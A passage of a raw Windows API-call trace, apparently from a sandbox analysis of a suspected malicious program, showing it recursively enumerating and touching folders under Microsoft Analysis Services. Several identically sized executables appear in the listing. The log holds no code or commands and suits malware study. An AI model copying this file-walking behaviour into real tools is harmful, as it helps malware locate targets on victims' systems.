ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0070.428] GetLastError () returned 0x12 [0070.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0070.428] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0070.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0070.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0070.428] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0070.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0070.428] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services" (normalized: "c:\\program files\\microsoft analysis services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0070.428] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0070.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.428] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0070.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.429] NtClose (Handle=0x158) returned 0x0 [0070.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0070.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0070.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0070.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0070.429] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9000 [0070.429] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.429] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa08fe20, ftCreationTime.dwHighDateTime=0x1d5a368, ftLastAccessTime.dwLowDateTime=0x3ca35c30, ftLastAccessTime.dwHighDateTime=0x1d53a19, ftLastWriteTime.dwLowDateTime=0x3ca35c30, ftLastWriteTime.dwHighDateTime=0x1d53a19, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1 [0070.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.429] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0070.429] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a4310, ftCreationTime.dwHighDateTime=0x1d5594b, ftLastAccessTime.dwLowDateTime=0xa8e2ceb0, ftLastAccessTime.dwHighDateTime=0x1d56a72, ftLastWriteTime.dwLowDateTime=0xa8e2ceb0, ftLastWriteTime.dwHighDateTime=0x1d56a72, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="edcsvr.exe", cAlternateFileName="")) returned 1 [0070.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.430] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a93a70, ftCreationTime.dwHighDateTime=0x1d580f6, ftLastAccessTime.dwLowDateTime=0x28b14490, ftLastAccessTime.dwHighDateTime=0x1d5888d, ftLastWriteTime.dwLowDateTime=0x28b14490, ftLastWriteTime.dwHighDateTime=0x1d5888d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 1 [0070.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.430] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a93a70, ftCreationTime.dwHighDateTime=0x1d580f6, ftLastAccessTime.dwLowDateTime=0x28b14490, ftLastAccessTime.dwHighDateTime=0x1d5888d, ftLastWriteTime.dwLowDateTime=0x28b14490, ftLastWriteTime.dwHighDateTime=0x1d5888d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 0 [0070.430] GetLastError () returned 0x12 [0070.430] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e9080 [0070.430] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0070.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa08fe20, ftCreationTime.dwHighDateTime=0x1d5a368, ftLastAccessTime.dwLowDateTime=0x3ca35c30, ftLastAccessTime.dwHighDateTime=0x1d53a19, ftLastWriteTime.dwLowDateTime=0x3ca35c30, ftLastWriteTime.dwHighDateTime=0x1d53a19, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="afr38.exe", cAlternateFileName="")) returned 1 [0070.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0070.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.430] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0070.431] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0070.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.431] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0070.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.431] NtClose (Handle=0x158) returned 0x0 [0070.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0070.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0070.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa255a8 [0070.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25630 [0070.431] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0070.431] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.431] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0070.431] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0070.432] GetLastError () returned 0x12 [0070.432] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0070.432] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0070.432] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.432] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0070.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0070.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x158 [0070.432] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0070.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa27480 [0070.432] DeviceIoControl (in: hDevice=0x158, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa27480, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa27480, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0070.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa27480) returned 1 [0070.432] NtClose (Handle=0x158) returned 0x0 [0070.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0070.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0070.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0070.433] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa257c8 [0070.433] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0070.452] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.452] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="")) returned 1 [0070.452] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0070.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.452] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0070.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0070.453] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0070.453] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0070.454] GetLastError () returned 0x12 [0070.454] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0070.454] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0070.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 